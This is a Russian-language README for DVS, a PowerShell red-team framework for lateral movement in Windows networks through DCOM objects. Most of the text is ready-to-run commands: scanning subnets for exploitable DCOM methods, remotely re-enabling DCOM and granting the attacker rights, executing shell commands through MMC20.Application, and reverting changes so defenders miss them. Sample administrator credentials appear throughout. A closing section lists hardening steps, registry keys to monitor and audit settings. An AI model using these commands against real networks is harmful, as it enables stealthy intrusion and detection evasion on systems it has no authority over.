
D(COM) V(ulnerability) S(canner) он же Коварный швейцарский армейский нож - Боковое перемещение с использованием объектов DCOM
Вы когда-нибудь задумывались, как можно перемещаться по внутренним сетям? Или взаимодействовать с удаленными машинами, не вызывая срабатывания EDR? Предположим, у нас есть действительные учетные данные или активная сессия с доступом к удаленной машине, но у нас нет возможности выполнить процесс удаленно известным, ожидаемым или сильно контролируемым способом (например, WMI, Планировщик задач, WinRM, PowerShell Remoting).
Для таких сценариев на помощь приходит фреймворк DVS.
Фреймворк DVS — это швейцарский нож, который позволяет перечислять уязвимые функции удаленных DCOM-объектов, запускать их и даже проводить атаки с их помощью.
Фреймворк разрабатывается с мышлением «Красной команды» и использует скрытные методы для компрометации удаленных машин.
Фреймворк DVS содержит различные способы обхода удаленной защиты от DCOM путем повторного включения доступа к DCOM удаленно и автоматического предоставления необходимых разрешений атакующему пользователю.
Фреймворк также может откатить изменения на удаленной машине к исходному состоянию до атаки — скрывая эти изменения от защитников.
Наше основное открытие заключается в том, что инструмент также может выполнять команды с использованием неуязвимых DCOM-объектов с помощью потрясающей техники (читайте ниже о Invoke-RegisterRemoteSchema)
Совместимо с PowerShell 2.0 и выше
Youtube Video PoC: DVS
Этот инструмент предназначен только для тестирования и образовательных целей. Любое другое использование этого кода запрещено. Используйте на свой страх и риск.
Автор НЕ несет ответственности за неправильное использование этого инструмента.
Используя этот инструмент, вы принимаете тот факт, что любой ущерб, причиненный использованием этого инструмента, является вашей ответственностью.
Доступ к удаленному реестру (MS-RRP)
AutoGrant установлен, проверка прав на запись; в противном случае проверка прав на чтениеСтандартный поставщик реестра (если удаленный реестр недоступен)
StdRegProvAutoGrant установлен, проверка прав на запись; в противном случае проверка прав на чтениеИнструмент DVS сначала проверяет, имеет ли основная учетная запись доступ к удаленной машине, выполняя следующие шаги:
Базовые действия
SkipRegAuth)
AutoGrant), иначе — сбойadsi/WindowsIdentity), разрешение на взаимодействие с DCOM (через запросы к удаленному реестру)AutoGrant), иначе — сбойHKLM или HKCU)Invoke-DCOMObjectScan
Get-ExecutionCommand
Invoke-ExecutionCommand
Invoke-RegisterRemoteSchema
git clone https://github.com/ScorpionesLabs/DVS
powershell -ep bypass
PS> Import-Module .\DVS.psm1
PS> Get-Help Invoke-DCOMObjectScan -Detailed # Получить подробную информацию о команде Invoke-DCOMObjectScan
PS> Get-Help Get-ExecutionCommand -Detailed # Получить подробную информацию о команде Get-ExecutionCommand
PS> Get-Help Invoke-ExecutionCommand -Detailed # Получить подробную информацию о команде Invoke-ExecutionCommand
PS> Get-Help Invoke-RegisterRemoteSchema -Detailed # Получить подробную информацию о команде Invoke-RegisterRemoteSchema
Функция Invoke-DCOMObjectScan позволяет сканировать DCOM-объекты и находить уязвимые функции с помощью списка шаблонов или точных имен функций, которые вы указали в файле.
Примеры:
Перечисляет и сканирует объект MMC20.Application (ProgID) с машины атакующего на хост DC01 без запроса реестра.
Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipRegAuth -Username "lab\administrator" -Password "Aa123456!" -Verbose
Примечание: Инструмент не будет анализировать разрешения ACL, и при успешном выполнении он получит всю информацию об объекте, за исключением сведений, упомянутых в реестре (например, имя объекта, исполняемый файл и т.д.).
Проверяет, доступен ли объект MMC20.Application (ProgID) с машины атакующего на хост DC01 без предварительного запроса и проверки списка доступа DCOM-объекта.
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipPermissionChecks -CheckAccessOnly -Verbose
Проверяет, применим ли MMC20.Application (ProgID) через диапазон 10.211.55.4/24. Если он существует, инструмент попытается получить о нем информацию (используя текущую вошедшую сессию пользователя).
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -Hostlist "10.211.55.4/24" -CheckAccessOnly -Verbose
Проверяет, существует ли и доступен ли объект с CLSID {00020812-0000-0000-C000-000000000046} через IP-адрес 10.211.55.4. Если существует, инструмент получит информацию о нем (используя учетные данные lab\administrator).
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "{00020812-0000-0000-C000-000000000046}" -Hostlist "10.211.55.4" -CheckAccessOnly -Username "lab\administrator" -Password "Aa123456!" -Verbose
Сканирует все объекты, хранящиеся по указанному пути (например, C:\Users\USERNAME\Desktop\DVS\objects.txt), через IP-адрес 10.211.55.4, и находит список функций, расположенный в указанном файле, таком как vulnerable.txt, используя учетные данные lab\administrator со следующей конфигурацией:
Max depth: 4
Max results: 1 (1 результат для каждого объекта)
Автоматическое предоставление: Если у нас нет доступа к объекту или если функция DCOM отключена, включить функцию DCOM и выполнить автоматическое предоставление прав на соответствующий DCOM-объект.
Наконец, вернуть машину в то же состояние, что и до атаки.
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type List -ObjectListFile "C:\Users\USERNAME\Desktop\DVS\objects.txt" -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -AutoGrant -Username "lab\administrator" -Password "Aa123456!" -Hostlist "10.211.55.4" -MaxResults 1 -Verbose
Сканирует все объекты, хранящиеся на доступных удаленных машинах из диапазона 10.211.55.1/24, и находит потенциально уязвимые функции из списка, расположенного в выбранном файле (например, C:\Users\USERNAME\Desktop\DVS\vulnerable.txt), исключая объекты из выбранного файла (например, C:\Users\USERNAME\Desktop\DVS\exclude.txt), и пропускает свойства с одинаковым именем на других маршрутах того же объекта.
ПРИМЕЧАНИЕ: Флаг SkipSameProperyName может пропустить уязвимые функции, когда существует одно и то же имя свойства с разными настройками (методы/другие свойства) или разной цепочкой глубины.
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type All -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -ExcludeFileList "C:\Users\USERNAME\Desktop\DVS\exclude.txt" -Hostlist "10.211.55.1/24" -SkipSameProperyName -Verbose
Функция Get-ExecutionCommand позволяет сгенерировать полезную нагрузку PowerShell, которая будет взаимодействовать с удаленной DCOM-функцией и выполнять ее с соответствующими параметрами.
Проверяет, предоставлено ли основной учетной записи разрешение на взаимодействие с объектом CLSID {00020812-0000-0000-C000-000000000046} через IP-адрес 10.211.55.4 с использованием учетных данных lab\administrator, затем генерирует команду выполнения.
PS> Get-ExecutionCommand -ObjectName "{00020812-0000-0000-C000-000000000046}" -ObjectPath "DDEInitiate" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -Verbose
Проверяет доступ к DCOM.
Если у основной учетной записи нет необходимых разрешений или функция DCOM отключена, инструмент включит функцию DCOM, предоставит доступ к учетной записи и взаимодействует с объектом MMC20.Application (ProgID) через IP-адрес 10.211.55.4, используя учетные данные lab\administrator, и сгенерирует команду выполнения.
Наконец, вернет машину в то же состояние, что и до атаки.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -AutoGrant -Verbose
Пытается взаимодействовать с объектом MMC20.Application (ProgID) через диапазон 10.211.55.1/24, используя текущую вошедшую сессию, без анализа разрешений ACL, затем генерирует команду выполнения.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.1/24" -SkipPermissionChecks -Verbose
Пытается взаимодействовать с объектом MMC20.Application (ProgID) через IP-адрес 10.211.55.4 без запроса реестра.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -SkipRegAuth -Verbose
Функция Invoke-ExecutionCommand позволяет выполнять команды через DCOM-объект, используя вошедшего в систему пользователя или предоставленные учетные данные.
Примеры:
Проверяет доступ к DCOM.
Если у основной учетной записи нет необходимых разрешений или функция DCOM отключена, инструмент включит функцию DCOM, предоставит доступ, взаимодействует с объектом MMC20.Application (ProgID) через диапазон: 10.211.55.1/24, используя текущую сессию вошедшего пользователя, и выполнит следующие команды:
Выполняет команду cmd.exe /c calc
Устанавливает атрибут Frame.Top в 1
Наконец, вернет машину в то же состояние, что и до атаки.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -AutoGrant -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")},@{ObjectPath="Frame.Top";Arguments=@(1)} ) -HostList "10.211.55.1/24" -Verbose
Пытается взаимодействовать с объектом MMC20.Application (ProgID), используя учетные данные lab\administrator через IP-адрес 10.211.55.4, и выполняет следующую команду: cmd.exe /c calc.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -Username "lab\administrator" -Password "Aa123456!" -Verbose
Пытается взаимодействовать с объектом MMC20.Application (ProgID), используя текущую сессию вошедшего пользователя без анализа разрешений ACL, и выполняет следующую команду: cmd.exe /c calc.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -SkipPermissionChecks -Verbose
Функция Invoke-RegisterRemoteSchema позволяет выполнять команды через следующие DCOM-объекты, используя вошедшего в систему пользователя или предоставленные учетные данные:
Примечание: Эти DCOM-объекты не требуют доступа к локальному реестру машины. Они могут закрепиться с любым пользователем, имеющим доступ к удаленной машине!
Выполняет команду cmd /c calc на диапазоне 10.211.55.1/24, используя текущую вошедшую сессию, и при необходимости предоставляет привилегии.
PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.1/24" -Command "cmd /c calc" -AutoGrant -Verbose
Выполняет команду cmd /c calc на удаленной машине 10.211.55.4, используя предоставленные учетные данные.
PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.4" -Command "cmd /c calc" -Username "Administrator" -Password "Aa123456!" -Verbose
Отключить удаленный доступ к DCOM
Запретить удаленный доступ к реестру, если он не требуется
Оба варианта сложно реализовать в корпоративной среде без влияния на доступность.
Тем не менее, это может быть хорошим вариантом ужесточения для конечных точек, которым не нужно удаленное управление доменом. (например, автономные конечные точки)
Включить профили домена и частных сетей в брандмауэре Защитника Windows
Перейти на использование LAPS, чтобы уменьшить поверхность атаки. Если каждый компьютер в домене имеет разный пароль локального администратора, эта учетная запись не может быть использована для бокового перемещения.
Ужесточение прав доступа пользователей может предотвратить эту атаку
Используя объекты групповой политики, организация может удалить администраторов, пользователей и другие группы из списка и перейти к использованию специальной группы/пользователя для централизованного управления, который не входит интерактивно на другие компьютеры.
[Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Access this computer from the network]
В официальных руководствах по ужесточению, таких как CIS, рекомендуемая настройка [Access this computer from the network] имеет значения "Администраторы и Пользователи удаленного рабочего стола или Прошедшие проверку пользователи". Эти рекомендации уязвимы для инструмента DVS.
Ужесточить разрешения DCOM, удалив права администраторов из разрешений — Удаленный запуск и Удаленная активация.
Используйте брандмауэр на уровне хоста / брандмауэр, учитывающий приложения, чтобы блокировать DCOM-доступ между компьютерами. Особенно для компьютеров, не входящих в ИТ-инфраструктуру или инфраструктуру управления.
Правила контроля приложений могут использоваться как последний круг контроля безопасности, чтобы предотвратить запуск опасных дочерних процессов или загрузку DLL уязвимыми процессами.
Примеры:
mmc.exe -> cmd.exe
explorer.exe -> regsvr.exe
visio.exe -> wmic.exe
excel.exe -> Rundll32.exe
outlook.exe -> cmd.exe
Отслеживайте изменения в реестре в следующих местах:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]
Этот ключ является настройкой разрешений DCOM. Если они изменены, это может означать, что злоумышленник, использовавший инструмент DVS, снял ужесточение.
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
"Подразделы и значения реестра, связанные с ключом [HKEY_LOCAL_MACHINE\SOFTWARE\Classes], содержат информацию о приложении, необходимую для поддержки функциональности COM. Эта информация включает такие темы, как поддерживаемые форматы данных, информация о совместимости, программные идентификаторы, DCOM и элементы управления." Справка центра разработки Microsoft
[MACHINE\SOFTWARE\policies\Microsoft\windows NT\DCOM\MachineLaunchRestriction]
Изменение этого ключа может указывать на то, что инструмент DVS отключил ограничения удаленной активации и удаленного запуска DCOM.
Используйте брандмауэр, учитывающий приложения, чтобы блокировать DCOM-доступ между компьютерами. Особенно для компьютеров, не входящих в ИТ-инфраструктуру или инфраструктуру управления.
Система предотвращения вторжений (например, Snort, Suricata) может использоваться для обнаружения протокола DCOM, основанного на RPC (MS-RPC, MS-RPCE) и протоколе удаленного реестра (MS-RRP).
Отслеживайте брандмауэр Защитника Windows, включив журнал аудита заблокированного трафика для профилей домена и частных сетей.
Отслеживайте изменения следующего ключа. Это может указывать на то, что инструмент DVS создал правило для обхода ограничений динамического RPC в брандмауэре Защитника Windows.
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
Отслеживайте журналы событий Windows:Включить аудит событий. Настройки аудита, которые следует включить для успеха и неудачи:
Аудит событий входа в систему учетных записей | Аудит событий входа | Аудит доступа к объектам | Аудит NTLM
Перейдите к следующему разделу реестра: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]
Создайте новые DWORD со значением '1' с именами ActivationFailureLoggingLevel | CallFailureLoggingLevel | InvalidSecurityDescriptorLoggingLevel